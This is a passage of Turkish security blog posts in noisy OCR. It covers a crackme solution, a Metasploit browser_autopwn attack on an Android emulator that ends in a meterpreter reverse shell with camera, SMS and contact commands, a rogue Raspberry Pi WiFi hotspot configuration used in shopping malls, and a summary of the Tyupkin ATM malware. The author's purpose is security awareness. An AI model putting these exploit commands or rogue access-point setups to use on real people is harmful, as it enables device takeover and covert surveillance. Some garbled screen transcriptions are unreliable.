printf("\nBingo! Mert SARICA bu parolayi bekliyor, acele et
} else {

printf("\nDenemeye devam :)\n\n");

1

I

printf(" \n"ys
printf("Referans: https://www.mertsarica.com/pi-hediyem-varin™};
return @;

1
100% ~ &

Qutput

M E

COZUM:
Crackme.zip ZIP dosyasinin sifresi, herhangi basit bir sifre ¢dzme programi ile kolaylikla bulunabilirdi. (ZIP sifresi: 4141)
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https://www.sans.org/ondemand/courses/all/
http://www.resmigazete.gov.tr/eskiler/2013/06/20130620-1-1.pdf
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https://www.mertsarica.com/files/crackme.zip

. Ultimate ZIP Cracker, 8.0.2.17
Options...  About...

Please select the item and click "Next’ to continue...

Item Encryption
Ttem Password Action
Password o open 4141 Copy

ZIP dosyasi i¢inden ¢ikan Hack4Career.exe programini PEiD araci ile incelediginizde bunun UPX araci ile sikistirildigini gorebilir ve
yine UPX araci ile agabilirdiniz.

2% PEiD v0.95

File: | C:\Documents and SettingsAdministratoriDesktop! CrackmelHackeC: EI

Entrypoint: |0001CC10 EP Section: | LPX1 =
File Offset: | 00002010 First Bytes: | 60,BE,00,E0 ﬂ
Linker Info: | 10,0 Subsystemn: | Win3Z consale ﬂ

UP% 0,89.6 - 1,02/ 1,05 - 2,90 - > Markus & Laszlo
Multi Scan | Task Viewer Options About | Exit |

Iv Stay on top ﬂ ﬂ

\WINDOWS\system32\cmd. exe

Microsoft Windows XP [Version 5.1.26881
(C>» Copyright 1985-2801 Microsoft Corp.

IC:\Documents and Settings“Administrator>cd Desktop
C:\Documents and Settings“Administrator Desktoprcd Crackme

IC:\Documents and Settings“AdministratorsDesktop~Crackme>upx —d Hack4Career.exe

29184 <- 9728 33.33= win32/pe Hack4Career.exe
Unpacked 1 file.

IC:\Documents and Settings“Administrator~Desktop~Crackme>

Yine PEiD ile bu programini incelediginizde programin Visual C++ ile derlendigini gorebilirdiniz.

File: | C:\Documents and Settings\Administrator|Desktop! Crackme|HackeC: EI

Entrypoint: | 00011109 EP Section; | bext ﬂ
File Offset: | 00000509 First Bytes: |E9,Fz,07,00 ﬂ
Linker Info: | 10,0 Subsystem: | Win3z console ﬂ

Microsoft Yisual C++ 8.0 [Debug]
TMulti Scan | TaskViewer| Options | About | Exit |

[v Stay on top ﬂ ﬂ

Hack4Career.exe programini Immunity Debugger araci (debugger) ile incelediginizde 004113A0 fonksiyonunda iki degerin (0x3030
ve 0x7171) XOR isleminden gecirildigini (XOR isleminin sonucu 0x4141), kullanicidan alinan girdi (input) ile ondalik degere
cevrilerek (0x4141 degerinin ondalik karsilig1 16705'dir.) karsilagtirildigini gorebilir ve 16705 degerini bana ileterek oyunu basartyla
tamamlayabilirdiniz :)
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4 Immunity Debugger - Hack4Career.exe - [CPI read, module Hack4Car]

File Wiew Debug Plugins Immlib Options ‘Window Help  Jobs
EEuUx» 4+ lemtwhcPkbzil.s

@841

ARFOFFFF

FF @1 H
FEFE PR EE FE EE FE PP

[Show references 1 [Paused |
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| Immunity Debugger - Hack4Career.exe - [C|

File Wiew Debug Plugins Immlib Options ‘Window Help  Jobs

| Immunity Debugger - Hack4Career.exe - [C| read, module Hack4Car]
File Wiew Debug Plugins Immlib Options ‘Window Help  Jobs

EE 44X

(O Hex @®Dec OOt O Bin (%) Dearees () Radians () Grads

O inw Backspace C

Address

Hack 4 Career — Crackme

Parola 7: Mert

OYUNU BASARIYLA TAMAMLAYANLAR: Kamil Onur Ozkaleli, Ali AGDENiZ, Semih DEMIRCI, Mustafa ALl CAN, Musa
ANTIKE, Tugser OKUR, Kenan GUMUS, Onur ALANBEL, Osman ERCELIK

CEKILIS ve KAZANAN TALIHLILER:
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B Gekiistd |

1 EKamil Onur Ozkaleli
Semih DEMIRCT
2 Tufser OKUR

4 Mustafa AL CAN h

5 ali AGDENIz

C:AWINDOWS\system32\cmd.exe - python

Microsoft Windows XP [Version 5.1.26881
{C> Copyright 1985-2881 Microsoft Corp.

IC:“Documents and Settings“Administrator>python
Python 2.7.6 (default. Nov 18 2013. 19:24:18> [MSC v.1588 32 bhit (Intel>] on win
32

Type “help'. “copyright", “credits" or “license" for more information.
>>> from random import randint
>»> print randint{1.5>

5
>»> print randint{1.5>
4

>y

Basta kazanan iki talihli (Mustafa AL CAN ve Ali AGDENIZ) olmak iizere parola bulma oyununa katilan ve basartyla tamamlayan
herkesi tebrik eder, yeni oyunlarda goriismek dilegiyle herkese giivenli giinler dilerim :)

Evil Pi

Source: https://www.mertsarica.com/evil-pi/
By M.S on March 2nd, 2015

Her y1l oldugu gibi bu y1l da giivenlik firmalar1 tarafindan hazirlanan giivenlik tahminleri raporlarini (6rnek) inceleyecek olursaniz yine
mobil giivenligin bu raporlarda éne ¢iktigini gorebilirsiniz. Ozellikle Android gibi giincellenmesi telefon iireticisinin insiyatifine kalmis
olan isletim sistemlerini kullanan kullanicilar, belki de yillarca zafiyet barindiran bu sistemler ile yasamak zorunda kaliyorlar.

Bu durumun kétiiye kullanilma senaryolarindan bir tanesi, mobil isletim sisteminizde yer alan ve zafiyet barindiran mobil internet
tarayicisi ile ziyaret ettiginiz zararli web sitesinde yer alan zararli kodun, cep telefonunuzda ¢aligsmasi sonucunda art niyetli kisilerin
kontroliine gegmesi olabilir. Cep telefonunuzu kontrol eden art niyetli kisi veya kisiler, kameraniz ile sizden habersiz fotograf ¢ekebildigi
gibi tiim rehberinizi izinsiz olarak kopyalayabilirler.

Bu tiir bir durumla kargilasmama adina ¢ogu zaman bilmedigimiz, siipheli web sitelerini ziyaret etmekten kaginiriz. Fakat ayni dikkati,
oturdugumuz bir cafede veya gezdigimiz bir AVM (aligveris merkezi)'de yayin yapan kablosuz erisim noktasina baglanirken gostermeyiz
ve bunun da benzer bir sonuca yol agacagi ¢ogunlukla aklimizin ucundan bile gegmez.

Ben de bu yazi ile giivenilir olmayan kablosuz erigim noktasina baglanmanin kullanicilar igin ne denli kotii bir sonuca yol agabilecegine,
tirettigim bir senaryo ile dikkat gekmek istedim ve hemen ise koyuldum.

Oncelikle Android 4.2.2 6ncesinde tiim Android siiriimlerini etkileyen bir zafiyetin (CVE-2012-6636), istismar edilerek nasil kotiiye
kullanilabilecegini gostermek istedim. Bunun i¢in Android SDK ile gelen Android Virtual Device (AVD) Manager {izerinde Android
4.1.2 yiiklii bir sanal makine olusturup, Sykiiniicii (emulator) ile ¢calistirdim. Ardindan Metasploit {izerinde bulunan ve baglanti kuran
internet tarayicisini ve eklentilerini otomatik olarak algilayip (user-agent), 21 tane istismar kodu arasindan buna uygun istismar kodu
gondererek hedef sistem iizerinde uzaktan kod ¢aligtirmaya imkan taniyan Auto Pwn modiiliinii ¢alistirdim. Son olarak Sykiiniiciide
calisan Android'in internet tarayicisi ile Metasploit'in Browser Autopwn modiiliiniin yiikli oldugu adrese baglandigimda Metasploit
iizerinde Meterpreter oturumu basariyla kurulmus oldu. Burada tirkiitiicli olan kisim, meterpreter oturumu iizerinden ses ve goriintii
kaydinin rahatlikla yapilabilecek olmasiydi.
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AVD Name: | Hack4Career |

Device: | MNexus S (4.0, 480 = 800: hdpi) Y] |
Target: |Android 4.1.2 - AP| Level 16 W |
CPU/ABL: ARM (armeabi-v7a)

Keyboard: Hardware keyboard present

Skin: | No skin vl
Front Camera: | MNone v |
Back Camera: | MNone v |

Memery Options: RAM: E VM Heap: IZ]

Internal Storage: | 200 ‘ | MiB W |
S0 Card:
®size: 128 | mie |
() File: Browse...

Emulation Options: [ Snapshot [[]Use Host GPU

| Override the existing AVD with the same name

oK || cancel

root@kali:~# msfconsole
[#¥] starting the Metasploit Framework console.../

3Kom SuperHack II Logon

User Name: L security ]
Password: [ ]
[ok]

http://metasploit.pro

Frustrated with proxy pivoting? uUpgrade to layer-2 VPN pivoting with

vetasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]
+ —— —-=[ 1378 ex&:'lo‘its - 777 auxiliary - 222 post ]
+ —— ——=[ 342 payloads - 37 encoders - & nops ]
+ —-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf = use auxiliary/server/browser_autopwn

msf auxiliary(browser_autopwn) > set Thost 192.168.201.191
Thost => 192.168.201.191

msf auxiliary(browser_autopwn) > set uripath /

uripath ==

msf auxiliary(browser_autopwn) > run



starting explolt multi/browser/java_rhino with payload java/meterpreter/reverse_tcp

Using URL: http://0.0.0.0:8080/Q5YVUpGeg

Local IP: http://192.168.201.191:8080/Q5YvUpGeg

server started.

starting exploit multi/browser/java_verifier_field_access with payload java/meterpreter/reverse_tcp
Using URL: http://0.0.0.0:B080/HAZsYaLple

Local IP: http://192.168.201.191:8080/HAZsYalLple

Server started.

starting exploit multi/browser /opera_configoverwrite with payload generic/shell_reverse_tcp

uUsing URL: http://0.0.0.0:8080/gDGhHUGan

Local IP: http://192.168.201.191:8080,/gbGhHUGan

Server started.

starting exploit windows/browser/adobe_flash_mp4_cprt with payload windows/meterpreter/reverse_tcp
Using URL: http://0.0.0.0:8080/BjTgMwOXKITNa

Local IP: http://192.168.201.191:8080/BjTgMWOXKITNa

Server started.

starting exploit windows/browser/adobe_flash_rtmp with payload windows/meterpreter/reverse_tcp
uUsing URL: http://0.0.0.0:8080/NEWGrGnliL

Local IP: http://192.168.201.191:8080/NEWGrGnliL

server started.

starting exploit windows/browser/ie_cgenericelement_uaf with payload windows/meterpreter/reverse_tcp
Using URL: http://0.0.0.0:8080/tRwVXe

Local IP: http://192.168.201.191:8080/tRwvXe

Server started.

starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp
using URL: http://0.0.0.0:8080/R1fwu0

Local IP: http://192.168.201.191:8080/R1fwuo

server started.

starting exploit windows/browser/ie_execcommand_uaf with payload windows/meterpreter/reverse_tcp
uUsing URL: http://0.0.0.0:8080/pbpnyjcb

Local IP: http://192.168.201.191:8080/pbpnyjcb

server started.

starting exploit windows/browser /mozilla_nstreerange with payload windows/meterpreter/reverse_tcp
uUsing URL: http://0.0.0.0:8080/0xYPsL

Local IP: http://192.168.201.191:8080/0xYPsL

server started.

starting exploit windows/browser/ms12_004_midi with payload windows /meterpreter/reverse_tcp

uUsing URL: http://0.0.0.0:8080/mzdq

Local IP: http://192.168.201.191:8080/mzdg

Server started.

starting exploit windows/browser,/ms13_080_cdisplaypointer with payload windows/meterpreter/reverse_tcp
uUsing URL: http://0.0.0.0:8080/FQGY]jp

Local IP: http://192.168.201.191:8080/FQGYjp

Server started.

starting exploit windows/browser /ms14_064_ole_code_execution with payload windows/meterpreter/reverse_tcp
Using URL: http://0.0.0.0:8080/uwuaslm

Local IP: http://192.168.201.191:8080/uwUaAlm

Server started.

starting exploit windows/browser /msxml_get_definition_code_exec with payload windows/meterpreter/reverse_tcp
Using URL: http://0.0.0.0:8080/FeuirPolFVECTo

Local IP: http://192.168.201.191:8080/Feuirolrvecfo

Server started.

starting handler for windows/meterpreter /reverse_tcp on port 3333

starting handler for generic/shell_reverse_tcp on port 6666

started reverse handler on 192.168.201.191:3333

starting the ﬁ;ay'l oad handler...

starting handler for java/meterpreter/reverse_tcp on port 7777

started reverse handler on 192.168.201.191:6666

starting the payload handler...

started reverse handler on 192.168.201.191:7777

starting the payload handler...

DD DD DD D DO DD DD DD D DD D D D DD DO D DD D DD DD

[*] --- Done, found 21 exploit modules

[*] using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.201.191:8080/
[*] Sserver started.

[ |

msf auxiliary(browser_autopwn) > set LPORT_ANDROID 4444
LPORT_ANDROID => 4444

maf auxiliary(browser_autopen) > set MATCH android

MATCH => android

msf auxiliary(browser_autopen) > rexploit

*] stopping existing job... @ 3554HackdCareer
=] cleaning up exploits...
*] Server stopped.

Cleaning up exploits...
Server stopped.
Server stopped.
Server stopped.
Server stopped.
server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
Server stopped.
reloading module. ..
Server stopped.
auxiliary module execution completed

setuy
auai?iary(hﬂ-ser_mw) > [*) obfuscating initial javascript 2015-01-05 07:42:58 -0500
*] pone in 0.B87502627 seconds

["] starting exploit modules on host 192.168.201.191...

*] starting exploit android/browser ‘'webview_addjavascriptinterface with payload android/meterpreter /reverse_tcp

*] using uRL: http://0.0.0.0:8080,/KRQUIu

*] Local 1P: htip://192.168.201.191 8080,/ KRgUIu

*] server started.

=] starting handler for android/meterpreter /reverse_tcp on port 4444

*] started reverse handler on 192.168.201.191:4444

*] starting the payload handler...

[ ] - pone, found 1 exploit modules

*] using uRL: http://0.0.0.0:8080

ot Local IP: http://192.168. 201.191:8080

*] server started.

- 2. .201.1 browser _autopwn - Handling '/°

=] 192.168.201.1 browser_autopwn - Handling "‘m‘n‘.id-Q-’tkrquD(le1?||'1u?ﬁ;éﬁhSl(w?pbubkor‘\;u?(.\.'man')11Dplbnﬂ|7m1uznﬂ6('--llbwﬁ¥lltb(.uﬁql‘hyb.’l1Dr'\.‘u7f.\.'maln')1,’w\1d'
- G -1 browser_autopwn - Javascript Report: Android:undefined:undefined:undef ined:undefined:en-us:armle:Chrome:undef ined:
- 3 5 | browser_autopwn - Responding with 1 exploits

- . -1 webview_addjavascriptinterface - Gathering targer information.

e 2. .1 webview_addjavascriptinterface - Sending response WML,

=] 192.168.201.1 webview_addjavascriptinterface - Serving armle exploit...

*] sending stage (43586 bytes) to 192.168.201.1

=] meterpreter session 1 opened (192.168.201.191:4444 -> 192.168,201.1:56446) at 2015-01-05 07:43:24 -0500
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mst auxiliary{browser_autopwn) > sessions

Active sessions

Id Type Information Connection

1 meterpreter java/android @ localhost 192.168.201.191:4444 -> 192.168.201.1:56446 (feB0::5054:ff:fel2:3456)

msf auxiliary(browser_aut ) > sessions -1 1
1'5'_] starting interaction with 1...

meterpreter > help
Core Commands

Stdapi: Networking Commands

Command pescription

Command pescription
7 Help menu i
back?round aacEgraunds the current session :;Eg:;:g g}zg}i; ::E::F:EE:
bgkill ki11s a background meterpreter script portfwd Forward a local port to a remote service
bglist Lists running background scripts route view and modify the routing table
bgrun Executes a meterpreter script as a background thread
channel pisplays information about active channels
close Closes a channel

. = & . . g : Stdapi: System Commands
disable_unicode_encoding Disables encoding of unicode strings P y

enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session Command

Description
help e T === S s e ol e
info pisplays information about a Post module execute Execute a command
interact Interacts with a channel getuid Get the user that the server is running as
irb prop into irb scripting mode " ps List running processes
load Load one or more meterpreter extensions shell Drop into a system command shell
quit Terminate the meterpreter session sysinfo Gets information about the remote system, such as 0S
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module stdapi: webcam Commands
use peprecated alias for “load’
write writes data to a channel
Command Description
stdapi: File system Commands record_mic record audio from the default microphone for X seconds
webcam_chat start a video chat
—_— webcam_list List webcams
Description webcam_snap Take a snapshot from the specified webcam

"""""" : webcam_stream Play a video stream from the specified webcam
Read the contents of a file to the screen e Y P

Change directory

pDownload a file or directory
edit a file

print local working directory

android Commands

Print working directory i
Change Tocal working directory comand Defcripton
print local working directory check_root check if device is rooted

List files
Make directory
print working directory

dump_calllog Get call log
dump_contacts Get contacts list

A dum?_sms Get sms messages
< Delete the specified file geolocate Get current lat-long using geolocation
rmdir Remove directory
search search for files
upload upload a file or directory

meterpreter > sysinfo
Computer : localhost
05 : Android 4.1.2 - Linux 2.6.29-gc497e41 (armv71)
Meterpreter : java/android
rpreter > i

Istismar kismindan sonra yazimin asil konusu olan, giivenilir olmayan bir kablosuz erisim noktasmin nasil ve ne kadar kolaylikla art
niyetli kisiler tarafindan kéotiiye kullanilabilecegi sorusuna yanit bulmaya ¢alistim.

Yanit aramaya basladiktan kisa bir siire sonra aklima sdyle bir kétiiye kullanim senaryosu geldi;

¢ Art niyetli kisi Ucretsiz. WIFI adinda kablosuz ve sifresiz erisim noktasi olusturur.
¢ Bunun iizerinde bir tane web sunucusu ¢alisir.

* Erisim noktasma baglanan kullanici, herhangi bir web sitesine baglanmaya g¢alistiginda kullanici otomatik olarak Browser
Autopwn modiilii calisan Metasploit'e yonlendirilir.

* Baglanti kuran sistem iizerinde bir zafiyet var ise otomatik olarak sistemi hacklenir.
Senaryoyu olusturduktan sonra bunu pratige dokmek i¢in nelere ihtiyacim olacagini diisiinmeye basladim ve elimdeki donanimlarla
bunu 6grenmek icin tekrar ige koyuldum.

ilk olarak hali hazirda elimde bulunan ve iizerinde Kali yiiklii olan Raspberry Pi Model B'yi kablosuz erisim noktasi olarak calistirmak
icin ¢aligmalara bagladim. Kali'yi kablosuz erigim noktasi olarak kullanabilmek i¢in {izerine hostapd ve dnsmasq araglarini yiikledim
(apt-get install hostapd dnsmasq).

Ikinci olarak kablosuz ag s1zma testleri icin bigilmis kaftan olan Alfa marka AWUS036H model USB adaptorii Raspberry Pi'ye baglayip,
AccessPoint Infrastructure / Master kipinde (access point olarak ¢alisabilme 6zelligi) ¢alistirmaya ¢alistim. Her zamanki gibi isler
yolunda gitmedi. Birincisi Raspberry Pi Model B'nin giicit AWUS036H'yi ¢alistirmaya yetmedi. Bu sorun beni yildiramaz diyerek gittim
ve Raspberry Pi Model B+ aldim. Bu defa da AWUSO036H Master kipinde ¢aligmadi megerse bu adaptoér master kipinde ¢alismayi
desteklemiyormus. Bu sefer de gidip TP-Link marka WN722N model WIFI USB adaptér aldim ve nihayet donanimsal sorunlari asmis
oldum.

Ucgiincii olarak dnsmasq ve Apache 404 yonlendirmesi ile baglanan kullaniciy1 otomatik olarak web sunucusuna yonlendirmek icin
diizenlemeler yaptim.

Kullanicinin gitmek istedigi sayfaya bulunamazsa (404 hata kodu), otomatik olarak yerel web sunucusunun ana sayfasina yonlendirilir.
(Ornek: http://www.google.com.tr -> http://www.mertsarica.com/uyari.php (10.0.0.1))
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File Edit View Options Transfer Script Tools Window Help
meda[mlnp __aﬂj%_’ ﬂ&' s &

“KaliBs x

File Edit View Options Transfer Script Tools Window Help
JWD-:’.JE Enter host <Alt+R> _‘nﬁ EEJ 5%! w &
ivl‘.-ln. » 4 b
il chu nano 2.2.6  File: Jetc/apache2/sites-enabled/000-default
<virtualHost *:80>

serveradmin mert.saricalgmail.com
ServerName www.mertsarica.com

<Ifwodule mod_ssl.c>
<virtualdost _default_:443>
serveradmin mert.saricalgmail.com
ServerName www.mertsarica.com
DOCUmMeNntROOT /var /www
<Directory />
oqt‘ions FollowsymL inks
lowoverride None
</Directory>
<Directory fvarf
tions Indexes FollowSymLinks Multiviews
Allowoverride None
ord(r allow,deny
allow from all
</Directory>

scriptalias /cgi b'in,-" ,-'usr.f"llb,!cgl -bin/
<Directory "/usr/lib/cgi-bin
Allowoverride None
options +ExecCGI -Multiviews +SymLinksIfownermatch
order allow,deny
Allow from all
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.]
Errorpocument 401 /index.php b
Errorpocument 404 /index.php

Errorpocument 500 /index.php

DOCUMENTROOT /var /www
<Directory />
Dqtions FollowsymLinks
Towoverride None
</Directory>
<Directory /var/www/ >
tions Indexes FollowSymLinks Multiviews
Allowoverride none
order allow,deny
allow from all
</Directory>

scriptalias /egi-bin/ ,-’usr,f‘llb,fr.gl -bin/
<Directory "/usr/1ib/cgi-bi
Allowoverride None
options +ExeccGI -Multiviews +SymLinksifownermatch
order allow,deny
Allow from all
</Directory>

ErrorLog ${APACHE_LOG_DIR} /error.log
Errorpocument 401 /index.pl
Errorpocument 404 /index.php
Errorpocument 500 /index.php

# possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.

# possible values include: debug, info, notice, warn, error, crit,
LogLevel warn

# alert, emerg.
LogLevel warn

CustomLog ${APACHE_LOG_DIR}/access.log combined
</virtualHost>

I Get He‘lp l writeout Read File Prev Page Cut Text Cur Pos
Justify where Is I Next Page uncut Textill To Spell v

ssh2: AES-256-CTR 3, 1 43Rows 82Ccls VTI00 CAP NUM

Ready
_ Ready 1sh2: AES-256-CTR 3, 1 44Rows, 82Cols  VT100 CAP NUM

customLog ${APACHE_LOG_DIR}/ss1_access.log combined

# SsL Engine Switch:
# Enable/pisable ssL for this virtual host.
SSLENgine on

Get Help writeout rRead File Prev Page Cut Text Cur Pos
Exit Justify where Is Next Page uncut Textill To spell

bl

Kullanici hangi sayfaya gitmek isterse istesin otomatik olarak yerel web sunucusuna yonlendirilir.

file Edt View Options Tansfer Script Tools Window Help
P I R — pon 8B SXE @ &

File Edit View Options Transfer Script Tools Window Help
2 B G16) R Enter host <Alt-R> oanm &% S 8 &
W KaliBs x

# dnsmasq. 1er acg-ﬂanz

#1 1 river=n180211
e ssid=ucretsiz_wifi
# Log lots of extra information about DMCP transactions. channel=9

9 #1 er_syslog=-1
#1og-dhcp H%Ser_sﬁ]% Tevel=l
# Include a another lot of conrm?uration options. #logger_stdout=-1

#conf-file=/etc/dnsmasq. more. c #logger_stdour_lave]=2
#conf-dir=/etc/dnsmasq. d

1 —facﬂity-,fvarﬂogfdns-asq‘1og
address=/#,/10.0.0.1
#address=/google. com/10.0.0.1
interface=wlan2
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1

#no-resolv
Tog-queriesf]

Get Help writeout read File Prev Page Cut Text cur Pos Get Help writegut rRead FI Ie I Prev Page Cut Text Cur Pos

Exit Justify where Is Next Page unCut Text To spell Exit Justify where Is Next Page unCut Textil] To Spell
Ready ssh2: AES-256-CTR 21, 12 44 Rows, 82 Cols  VT100 CAP NUM Ready ssh2: AES-256-CTR 3, 1 44Rows, 82Cols  VT100 CAP NUI

Sira web sunucusunun igerigini hazirlamaya geldiginde, etik olarak erisim noktasina baglananlar1 web sunucusu iizerinden Metasploit'e
yonlendirmek dogru olmayacagi i¢in, kullanicilarin farkindaligini arttirma adina hazirlamis oldugum bir uyari sayfasina yonlendirmeye
karar verdim. Bu sayede hem kullanicilart bu tiir siber saldirilara karst uyarmis hem de bu tiir zararli erisim noktalarina baglanan
potansiyel kullanici sayisini1 6grenebilecektim.
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www.mertsarica.com/uyari.php

PRSI AN ==

Anasayfa Haberler Programiar Medya » Zararh Yazihm Argivi Hakkimda

UYARI!

Bu caligma, kullanicilann bilgi guvenligi farkuindaligini arthrmak ve guvensiz internet erigim noktalanna karsi

kullanicilan bilinglendirmek amacryla yapimistr

Ucretsiz_\WIFI erigim noktas:, iglevi olmayan, gecersiz bir erigim noktasidir

Guvenilifliginden emin olmadiginiz erisim noktalanndan internete baglanmaniz durumunda art niyetli kigiler
sifrelerinizi calabilir, sisteminize zararh yaziim yukleyebilirler

« Guvenliginiz icin lutfen guveniliiginden emin olmadiginiz internet erisim noktalarindan internet badlantis:

- 11}

Ea

Haberier

Uzerinde WIFI adaptérii takili olan Raspberry Pi B+ cihazini, Energizer tasmabilir harici sarj cihazina baglayip netbook ¢antama

koyduktan sonra o AVM, bu AVM gezmeye bagladim.
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Iki AVM gezdikten sonra Raspberry Pi'ye baglanan kullanici sayisini inceledigimde 79 tane tekil MAC adresi oldugunu ve bunlardan 20
tanesinin de Android 4.4.2'den eski oldugunu gérdiim. Bu da bana art niyetli bir kisinin sadece iki AVM gezerek yaklasik 20 kullanicinin
sistemini kisa bir siirede hackleyebilecegini gostermis oldu.
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CAWindows\system32\cmd.exe = il “

6

IC:~Users Mert~Desktopr¥Yeni YAZI“web>grep DHCPACK dnsmasg.log | cut —d " " —f 7

sort | wunig —i | we -1

IC:lUsers\MertsDesktop Yeni ¥YAZI“weh>_

o) CA\Windows\system32\cmd.exe e “
IC:“\Users \Mert Desktopr¥Yeni YAZI“web>cat android_version_unig.txt .

"Dalviks1l.6.8 <(Linux; U; Android
(buzz FRGE3D>; gzip"
Huaweill8655)>; g=zip"

SM-C161
GIT-12588
LG-DBB2TR
SM-G2?0@FQ
SM-N2?0880Q

;5 Android
Android
Android
Android
Android
Android
Android
.1 {com.dianping.vl 5 om_sd_368s=
{Linux; U; Androi
6.18.1 Android <17-4.2.2; 24Bdpi;
6.168.1 Android <19-4.4.2; 488dpi;
6.11.2 Android <18-4.3; 328dpi;
6.11.2 Android <19-4.4.2; 328dp
| Android {19-4.4. 488dpis
G -2 Android {19-4.4_2; 488dpi;
or Android 6.3.3"

IC:sUserssMert Desktop~Yeni YAZI~weh>_

Bu ¢aligsma ile giivenilir olmayan erisim noktalarinin kullanicilar igin ne kadar tehlikeli olabilecegini tek bir senaryo {izerinden ortaya

koymaya calistim. Umarim farkindalik adina faydali bir ¢alisma olmustur.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Pi Hediyem Var!

Source: https://www.mertsarica.com/pi-hediyem-var/
By M.S on February 13th, 2015

Yazilarimi ve Twitter hesabimi takip edenleriniz, Raspberry Pi ile gesitli giivenlik arastirmalari ve ¢alismalart yaptigimi az ¢ok bilirler.
(Bu arada Mart ayinin yazisinda, Raspberry Pi'yi yine basrolde goreceksiniz :)) Bu arastirmalar ve ¢alismalar nedeniyle zaman iginde
satin aldigimi Raspberry Pi'nin sayisi1 dordii bulunca, elimde bulunan 2 adet B model Raspberry Pi'yi, bilisim giivenligi ile ilgilenen ve

halihazirda tiniversite 6grencisi olan iki takipgime hediye etme karart aldim.
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Noter huzurunda gergeklesmeyecek olan Raspberry Pi gekilisine katilmak isteyenlerin dncelikle onlar i¢in hazirladigim ufak bir parola
bulma oyunu basariyla tamamlamalar1 gerekmektedir :). Oyuna katilmak isteyenler, burada yer alan sifreli ZIP dosyasini indirmeli
ardindan dogru ZIP sifresi ile paketi agmali ve bu paketin iginde yer alan programi ¢alistirdiktan sonra sorulan dogru parolay: tespit
etmelidir.

Cekilise katilmak isteyenler ise bu parolay1 ve ¢dziim yolunu, iletisim formu iizerinden, ad1, soyadi, kendini tanitan bir yazi, okudugu
iiniversite ve boliim, varsa bilisim giivenligi lizerine yapmis oldugu caligmalari ve Raspberry Pi ile giivenlik lizerine yapmay1 diisiindiigii
caligmalar1 anlatan bir yazi ile birlikte, 28 Subat 2015 tarihine kadar bana iletmeleri yeterli olacaktir.

3 Mart 2015 tarihinde Raspberry Pi'yi kazanan talihliler, bu sayfa ve Twitter hesabim iizerinden duyurulacaktir.

Simdiden giile giile ve giivenli giinlerde kullanmaniz dilegiyle :)

- ,- - -
Tyupkin’in Anatomisi
Source: https://www.mertsarica.com/tyupkinin-anatomisi/
By M.S on February 2nd, 2015

2 Ekim 2014 tarihinde Malezya'da, 18 tane NCR marka ATM'den bir zararli yazilim yardimu ile yaklasik 1 milyon dolar ¢alindigi
haberlere yansidu. Isin ilging yan1 ise bankalar bu konuda 4 ay énce uyarilmis olmalarina ragmen gerekli énlemleri almamisti. Ardindan
7 Ekim 2014 tarihinde Kaspersky firmasi, Tyupkin adini verdikleri bu zararli yazilim ile art niyetli kisilerin ATMlerden yiiklii miktarda
para ¢aldigini teknik detaylar ile birlikte duyurdu. Bu duyuruda zararli yazilimin Bat1 Avrupa'da yaklasik 50 tane ATM'de tespit edildigi
bilgisi de yer aliyordu. VirusTotal'a bu zararli yazilimin hangi iilkelerden yiiklendigi bilgisine bakildiginda ise Rusya basta olmak {izere,
ABD, Hindistan, Cin, srail, Fransa ve Malezya'da da bu zararli yazilimin tespit edildigi goriiliiyordu.

Merak edenleriniz i¢in Tyupkin ATM zararli yaziliminin ATMlere nasil yiiklendigine ve paranin nasil ¢calindigini kisaca acgiklamak
gerekirse;

e Art niyetli kisi, ATM'ye fiziksel olarak eristikten sonra 6nyiiklenebilir (bootable) cd veya usb'yi ATM'ye takiyor, ATM'yi yeniden
baslatiyor ve oradan uzaklasiyor.

« Isletim sistemi yeniden basladiktan sonra Tyupkin zararli yazilimi isletim sisteminde calismaya ve komut beklemeye basliyor.

» Sadece Pazar ve Pazartesi giinleri komut kabul eden bu zararli yazilima erigsmek i¢in gelen kurye, tus takimina (pin pad) zararh
yazilimin bekledigi rakamlar1 (misal 22222) giriyor.

* Tuslanan bu rakamlar sonrasinda ekranda bir oturum kodu (session code) beliriyor. Bu kodu cep telefonu ile operatore ileten kurye,
dogru oturum anahtarini (session key) tusladiktan sonra zararli yazilimin 6zel meniisiine erisiyor.

* Bu meniide ATM'nin hangi bélmesinde ne kadar para oldugunu 6grenen kurye, paray1 ¢ektikten sonra kayiplara karisiyor. (Video)

Ocak 2015 itibariyle Tyupkin zararli yazilimina Tiirkiye'de de rastlandigi s6ylentileri kulaktan kulaga yayilmaya basladi. Kimi vakada,
art niyetli kisilerin Tyupkin zararli yazilimint ATM'nin kasasini anahtarla agarak, ki vakada ise kart okuyucunun altin1 matkapla delerek
bulastirdiklart sdyleniyordu. Bu séylentilerin tamaminda ise onyiiklenebilir CD yerine 6nyiiklenebilir USB kullanildig1 s6yleniyordu.
Soylentilerde gergeklik pay1 olup olmadigini arastirmaya basladiktan kisa bir siire sonra, Tiirkiye'de tespit edilen Tyupkin zararli
yazilimina (Aralik 2014 tarihinde derlenmis siiriim) VirusTotal {izerinden ulagsmay1 basardim.

RDG Packer Detector v0.7.4 SEREY UEEY %)
Colsers B0 esktophtyupkin_patched_Bs.exe n32 B
¢ . . .
Microsoft Visual C++ 8.0 Compiler g
x86obf (x86obf.com) Detected g
i Check IsDebuggerPresent Possible
Contact: st
Detect
File scanned in, Seg. @MA O MB
RDG Packer Detector v0.7.4 SNEY HEEY 2%
EI:\Users=Desktop\tyupkin_patched_ﬁs.exe x32 B
Q . . .
Microsoft Visual C++ 6.0 Compiler g
aPLib compresion (Algoritmo) Detected g
= Check IsDebuggerPresent Possible
Contact:  www.ibsenzoftware.com ilEnt
i
File scanned in 28 Seq. OMA & MB

